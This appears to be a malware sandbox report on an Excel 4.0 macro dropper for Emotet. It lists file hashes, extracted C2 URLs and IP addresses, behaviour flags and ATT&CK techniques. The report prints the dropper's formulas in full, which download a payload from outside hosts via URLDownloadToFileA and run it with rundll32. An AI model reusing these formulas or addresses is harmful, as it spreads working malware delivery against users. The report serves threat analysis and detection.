General

  • Target

    ?i=1cmxgzwdm

  • Size

    83KB

  • Sample

    220510-ggwv7afda3

  • MD5

    e0292b6fffda00a480430ec87a5418ca

  • SHA1

    649094884f17d090a5009c9682e1502306a3fe83

  • SHA256

    5aa98174bd302b5cd08f4932b9a41a9586726bb40571b90bd82325039a7a8b51

  • SHA512

    01b38845f95d454d6480a88ffda1db52664c09f1cf8bff9c60ec45b8e2c67557c06a8f6e4f474cc2a01e81f68153d07f778b7133e898359ec7c4504dc8691d13

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://robotically.xyz/wp-content/XtKkx/

http://2.arthaloca.com/styles/dS5RNprosfCabLtYEwO/

https://notesculture.com/wp-includes/LuQtO3MiyJFFcF/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://robotically.xyz/wp-content/XtKkx/","..\wxeu.ocx",0,0) =IF('EWDFFEFAD'!E18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://2.arthaloca.com/styles/dS5RNprosfCabLtYEwO/","..\wxeu.ocx",0,0)) =IF('EWDFFEFAD'!E20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://notesculture.com/wp-includes/LuQtO3MiyJFFcF/","..\wxeu.ocx",0,0)) =IF('EWDFFEFAD'!E22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\wxeu.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://robotically.xyz/wp-content/XtKkx/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://robotically.xyz/wp-content/XtKkx/

xlm40.dropper

http://2.arthaloca.com/styles/dS5RNprosfCabLtYEwO/

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Targets

    • Target

      ?i=1cmxgzwdm

    • Size

      83KB

    • MD5

      e0292b6fffda00a480430ec87a5418ca

    • SHA1

      649094884f17d090a5009c9682e1502306a3fe83

    • SHA256

      5aa98174bd302b5cd08f4932b9a41a9586726bb40571b90bd82325039a7a8b51

    • SHA512

      01b38845f95d454d6480a88ffda1db52664c09f1cf8bff9c60ec45b8e2c67557c06a8f6e4f474cc2a01e81f68153d07f778b7133e898359ec7c4504dc8691d13

    • Emotet

      Emotet is a trojan that is primarily spread through spam emails.

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Blocklisted process makes network request

    • Downloads MZ/PE file

    • Loads dropped DLL

    • Drops file in System32 directory

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Tasks